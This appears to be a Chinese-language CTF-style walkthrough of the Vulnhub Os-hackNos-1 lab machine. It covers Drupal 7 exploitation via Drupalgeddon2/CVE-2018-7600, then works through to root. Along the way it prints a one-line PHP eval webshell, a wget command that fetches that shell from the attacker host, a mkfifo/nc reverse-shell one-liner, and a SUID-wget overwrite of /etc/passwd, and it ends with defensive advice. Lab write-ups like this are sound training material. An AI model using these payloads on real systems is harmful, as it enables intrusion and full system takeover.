Vulnhub--Os-hackNos-1
字数 1228 2025-08-11 08:35:50
Os-hackNos-1 渗透测试教学文档
靶机概述
- 难度级别:容易到中级
- 目标:获取两个flag和root权限
- 下载地址:https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
- 网络配置:建议使用NAT模式
环境准备
- 下载并导入.ova文件到虚拟机
- 启动靶机(导入过程中出现警告可忽略)
- 确定靶机IP地址(使用
arp-scan -l命令)
信息收集阶段
1. 网络扫描
nmap -A -T4 -p- 192.168.237.154
发现开放端口:
- 22端口:SSH服务
- 80端口:Web服务(Apache)
2. Web服务枚举
- 访问Web页面,发现默认Apache页面
- 进行目录爆破,发现新的URL路径
- 访问新URL,发现Drupal 7 CMS页面
- 注意到用户名"james"可能相关
漏洞利用
1. Drupalgeddon2漏洞利用
- 下载漏洞利用工具:
git clone https://github.com/dreadlocked/Drupalgeddon2.git
- 安装依赖:
gem install highline
- 执行漏洞扫描:
./drupalgeddon2.rb http://192.168.237.154/drupal
- 成功获取低权限shell
2. 信息深度收集
- 检查Drupal版本(查看CHANGELOG.txt)
- 查找配置文件路径(/sites/default/settings.php)
- 尝试查看配置文件但失败
3. 使用CVE-2018-7600漏洞
- 下载利用工具:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "cat sites/default/settings.php"
- 尝试命令执行:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "whoami"
获取稳定shell
1. 上传一句话木马
- 创建shell.php文件:
<?php eval(@$_POST['HK']); ?>
- 在攻击机启动Python HTTP服务:
python3 -m http.server 8000
- 使用漏洞下载木马:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "wget http://192.168.237.156:8000/shell.php -O /var/www/html/drupal/shell.php"
- 使用蚁剑连接webshell
2. 反弹shell
- 攻击机监听:
nc -lvnp 3333
- 靶机执行反弹命令(因nc无-e参数,使用替代方法):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.237.156 3333 >/tmp/f
- 升级交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权阶段
1. 发现凭据
-
在/var/www/html目录发现alexander.txt
-
文件内容为Base64编码,解码后得到Brainfuck加密文本
-
再次解密得到凭据:james:Hacker@4514
-
尝试SSH登录失败(密码不正确)
2. 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现可利用的SUID文件:
- wget
- passwd
3. 通过wget提权
- 备份原始passwd文件:
cp /etc/passwd /tmp/passwd.bak
- 在攻击机生成新密码:
openssl passwd -1 -salt abc password123
-
构造新的passwd条目(格式与root相同,替换用户名和加密密码)
-
使用wget替换passwd文件:
wget http://192.168.237.156:8000/passwd -O /etc/passwd
- 使用新创建的用户登录获取root权限
获取flag
- 在/home/james目录下找到user.txt(第一个flag)
- 在/root目录下找到最终的flag
技术要点总结
- 信息收集:全面的端口扫描和Web目录枚举是关键
- 漏洞利用:针对已知CMS漏洞快速利用(Drupalgeddon2和CVE-2018-7600)
- 反弹shell技巧:当标准方法失效时的替代方案
- 提权方法:利用SUID权限和文件替换技术
- 密码破解:识别和转换不同加密方式的凭据
防御建议
- 及时更新CMS系统和插件
- 限制SUID权限的文件数量
- 对重要系统文件设置不可变属性(chattr +i)
- 使用强密码策略
- 限制Web目录的可写权限